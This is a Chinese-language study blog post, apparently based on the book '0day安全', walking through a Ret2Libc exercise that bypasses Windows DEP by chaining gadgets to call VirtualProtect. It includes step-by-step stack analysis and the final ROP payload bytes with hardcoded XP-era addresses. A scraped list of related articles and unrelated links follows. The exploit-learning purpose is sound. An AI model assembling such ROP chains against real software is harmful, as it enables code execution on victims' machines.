这几天做了NSCTF和GCTF,耽误了几天,今天继续。

  这次绕过DEP的方法是利用VirtualProtect函数将shellcode所在的内存属性改成可执行状态就可以绕过DEP了。

  首先看一下VirtualProtect函数的参数说明:

  

  lpAddress: 改变属性的内存起始起止

  dwSize: 要改变属性的内存的起始地址

  flNewProtect: 需要设置的内存的新属性,这里设置为0x40就行,可读可写可执行

  pflOldProtest: 内存原始属性类型保存地址,根据实验书上的意思这里的内存地址只要保证可写就行,其他没要求

  首先看一下VirtualProtectEx函数在内存的位置,在我的机器上地址是0x7c801ae7:

  

  可以看到4个参数的地址是以EBP定位的,所以EBP的地址在堆栈布置中尤为重要。

  首先看一下程序溢出时的堆栈和寄存器情况:

 

  可以看到EIP的地址是0x0012fe0, EBP也被覆盖成了0x90909091,先想到把EBP的值修复,看到ESP的值正常,找push esp; pop ebp 的地址:

"\x90\x90\x90\x90"
"\xff\x38\xf2\x77" //修正ebp
"\x93\x90\x90\x90"
"\x94\x90\x90\x90"
"\x95\x90\x90\x90"
"\x96\x90\x90\x90"

  修正EBP以后重新运行:

  看到已经执行完push esp; pop ebp; retn 4; 现在esp=0x0013febc, ebp=0x0013feb4, 可以看到中间差了8个字节,eip=0x90909093, 也就是0x0013feb4处。现在ebp的值已经确定了,ebp+0x14=0x0013fec8, ebp+0x8=0x0013febc, ebp+0x14和ebp+0x8是需要动态确定的地址,现在esp指向0x0013febc, 让esp指向0x0013fec8的指令首先想到的就是pop r32; pop r32; pop r32; 通过3个出栈到达使esp=0x0013fec8,这样可以将ebp+0x14这个参数设置好;现在的esp正好指向ebp+0x8的位置,也就是改变属性的内存起始起止的lpAddress,可以先将esp向高位移动4字节如何用push esp指令压榨,设置好lpAddress,把esp向下移动4字节的指令是retn指令,因为retn = pop eip; add esp, 0x4。随便找个retn指令的地址填在0x0013feb4就行:

“\x90\x90\x90\x90"
"\xff\x38\xf2\x77" //修正ebp
"\xcb\x2f\x94\x7c" //retn
"\x94\x90\x90\x90"
"\x95\x90\x90\x90"
"\x96\x90\x90\x90"

  程序重新运行,执行完retn指令以后,堆栈:

  

  现在eip=0x90909095, esp=ebp+0xC, 直接push esp, 就可以设置好ebp+0x8, 但是push esp以后直接retn的话会将0x0013fec0弹给eip,则程序会到0x0013fec0取指令,这在DEP没有关闭的情况下显然不能执行,所以书中采用了jmp eax的方法。现在eax=0x0013fdfc, 需要控制eax的值,eax的值指向pop r32; pop r32; pop r32; retn ; 指令的地址就可以顺利到达比ebp+0x14高4字节的位置。如何将pop3的指令地址给eax, 注意刚开始发生溢出时eip=0x90909092, esp在eip的高位4字节处,故可以这样布置堆栈: 

"\xcd\x4f\xc0\x77" // pop eax retn
"\x19\x29\x92\x7c" // pop3 retn

  现在shellcode的流程首先将pop3 retn的地址给eax,在修正ebp, 执行之前的运行流程:

"\x90\x90\x90\x90"
"\xcd\x4f\xc0\x77" // pop eax retn
"\x19\x29\x92\x7c" // pop pop pop retn
"\xff\x38\xf2\x77" //修正ebp
"\xcb\x2f\x94\x7c" //retn
"\x94\x90\x90\x90"
"\xc6\xc6\xeb\x77" //push esp jmp eax
"\x96\x90\x90\x90"

  pop eax; retn 后,esp指向retn的地址,eip指向修正ebp的地址,从而执行之前设置好的运行流程。由于在修正ebp之前加了2个地址,导致ebp的地址发生了变化,看看经过了pop pop pop之后堆栈和寄存器的情况

  push esp; jmp eax; 指令将0x0012fec8这个地址压入了ebp+0x8之后,跳转到eax的地址执行,eax指向pop pop pop 的地址,经过3次pop之后,esp最终指向ebp+0x14,在经过一次retn之后,将ebp+0x14指向的地址赋给eip,同时esp向高址移动4字节,接下来一个push esp的指令就可以成功设置ebp+0x14的参数,这里唯一需要注意的是查找3次pop指令时不能修改esp和ebp的值。所以在执行完pop pop pop retn之后,接下来执行push esp指令,push esp执行完以后,此时esp指向ebp+0x14,需要增大esp的值,因为在执行VirtualProtectEx需要进行压栈操作,不能破坏esp+0x8--esp+0x14的堆栈区域,很巧妙的一点就是可以继续利用之前的push esp; jmp eax的指令,push esp结束布置好VirtualProtectEx的参数以后,执行pop pop pop retn指令,可以将esp向高址移动16个字节,不至于影响已经布置好的堆栈。

"\xcd\x4f\xc0\x77" // pop eax retn
"\x19\x29\x92\x7c" // pop pop pop retn
"\xff\x38\xf2\x77" // 修正ebp
"\xcb\x2f\x94\x7c" // retn
"\x94\x90\x90\x90"
"\xc6\xc6\xeb\x77" // push esp jmp eax
"\xff\x00\x00\x00"
"\x40\x00\x00\x00"
"\xc6\xc6\xeb\x77" // push esp jmp eax

  第二次执行完pop pop pop retn以后,就可以跳到VirtualProtect的入口处,最终的shellcode布置:

"\xcd\x4f\xc0\x77" // pop eax retn
"\x19\x29\x92\x7c" // pop pop pop retn
"\xff\x38\xf2\x77" // 修正ebp
"\xcb\x2f\x94\x7c" // retn
"\x94\x90\x90\x90"
"\xc6\xc6\xeb\x77" // push esp jmp eax
"\xff\x00\x00\x00"
"\x40\x00\x00\x00"
"\xc6\xc6\xeb\x77" // push esp jmp eax
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xd9\x1a\x80\x7c" // VitualProtect

                                                2015/9/27

                                                                                                          11:49

Ret2Libc 练习(2) -- VirtualProtect的更多相关文章

  1. OD: DEP - Ret2Libc via VirtualProtect() & VirtualAlloc()

    一,通过 VirutalProtect() 修改内存属性绕过 DEP DEP 的四种工作模式中,OptOut 和 AlwaysOn 下所有进程默认都开启 DEP 保护,这里如果一个程序自身需要从堆栈中 ...

  2. 内存保护机制及绕过方法——利用Ret2Libc绕过DEP之VirtualProtect函数

    利用Ret2Libc绕过DEP之VirtualProtect函数 ⑴.  原理分析: i.相关概念: VirtualProtect()函数: BOOL WINAPI VirtualProtect( _ ...

  3. OD: DEP & Ret2Libc

    Data Execution Prevention,数据执行保护,专门用来弥补计算机对数据和代码混淆这一天然缺陷. DEP 的原理是将数据所在的内存页(默认的堆.各种堆栈页.内存池页)标记为不可执行, ...

  4. Ret2Libc 练习(1) -- ZwSetInformationProcess

    花了两个小半晚上的时间将0day安全这本书的绕过DEP的第一个实验做了,这里做些笔记. Ret2libc 我现在自己的理解就是在开启DEP保护的情况下,在程序的其他的可执行位置找到可以满足我利用要求的 ...

  5. 黑窗口输入确定数字弹MessageBox(VirtualProtect())

    今天有人说到这个就想的弹一下,刚开始弄了一下,发现内存访问有问题想到可能与读写保护有关,所以用了VirtualProtect函数,得到了正确结果 网上这个小东西我自己没发现,就贴一下.. void m ...

  6. 缓冲区溢出基础实践(一)——shellcode 与 ret2libc

    最近结合软件安全课程上学习的理论知识和网络资料,对缓冲区溢出漏洞的简单原理和利用技巧进行了一定的了解.这里主要记录笔者通过简单的示例程序实现缓冲区溢出漏洞利用的步骤,按由简至繁的顺序,依次描述简单的 ...

  7. Linux下利用Ret2Libc绕过DEP

    Linux下利用Ret2Libc绕过DEP ⑴.  原理分析: 系统库函数通常是不受DEP(关于DEP,可以查看我之前文章的详细介绍)保护的,所以通过将返回地址指向系统函数可以绕过DEP保护,所以可以 ...

  8. 内存保护机制及绕过方法——利用Ret2Libc绕过DEP之ZwSetInformationProcess函数

    1.    DEP内存保护机制 1.1   DEP工作原理 分析缓冲区溢出攻击,其根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计算机体系结构基本上是不可能的,我们只能靠 ...

  9. Rop实战之利用VirtualProtect绕过DEP

    CVE-2011-0065 Firefox mChannel UAF漏洞 为了实现任意代码执行,需要在mChannel对象释放后,用可控数据“占坑”填充它,因此,可在onChannelRedirect ...

随机推荐

  1. Nginx 1.10.2 发布,高性能 Web 服务器

    Nginx 1.10.2 发布了.Nginx(发音同 engine x)是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器 更新内容: Changes with n ...

  2. shopex 小知识

    产品链接: http://www.--/product-172.html 中间的数字代表  sdb_goods 表中 的 goods_id  ... 表示数据库里的产品 id. 分类链接: http: ...

  3. Android 2016新技术

    Android 2016新技术 版权声明:本文为博主原创文章,未经博主允许不得转载. 2016你需要了解Android有以下新兴的技术与框架,有些也许还不成熟,但是你应该去了解下,也许就是未来的方向. ...

  4. C#与Java在继承静态类上的区别

    interface ITest { int Get(); } abstract class Test : ITest //此处会出现错误:Programe.Test不实现接口成员Program.ITe ...

  5. 简述Git(Linux、Android~~开源)

    Git——源代码管理软件,Android及Linux内核,驱动开发的过程中涉及的大量的源代码,都由Git管理 (一)安装Git Ubuntu Linux10.10或更新的版本,使用下面命令来安装Git ...

  6. 模块化以及requirejs和seajs

    我们用模块化的思想进行网页的编写是为了更好的管理我们的项目 模块与模块之间是独立存在的,每个模块可以独立的完成一个子功能. 模块化所涉及的规范commonjs,AMD,CMD,UMD 其中的commo ...

  7. Intel RealSense SDK 简翻

    :first-child{margin-top:0!important}img.plugin{box-shadow:0 1px 3px rgba(0,0,0,.1);border-radius:3px ...

  8. 关于spring中无法将service注入到servlet中的问题

    首先,servlet是动态网页项目区别于普通的java项目的,是动态网页项目中web.xml主要配置文件管理的,而spring只能管理普通的pojo,而没办法直接注入,尽管你的注入方式和配置方式都没有 ...

  9. docker 源码分析 六(基于1.8.2版本),Docker run启动过程

    上一篇大致了解了docker 容器的创建过程,其实主要还是从文件系统的视角分析了创建一个容器时需要得建立 RootFS,建立volumes等步骤:本章来分析一下建立好一个容器后,将这个容器运行起来的过 ...

  10. JQuery的一些简单操作02

    一.遍历 1.向下遍历,children.find children只能向下遍历儿子节点的所有元素,find遍历当前元素下面的所有子节点 2.向上遍历,parent,parents,parentsUn ...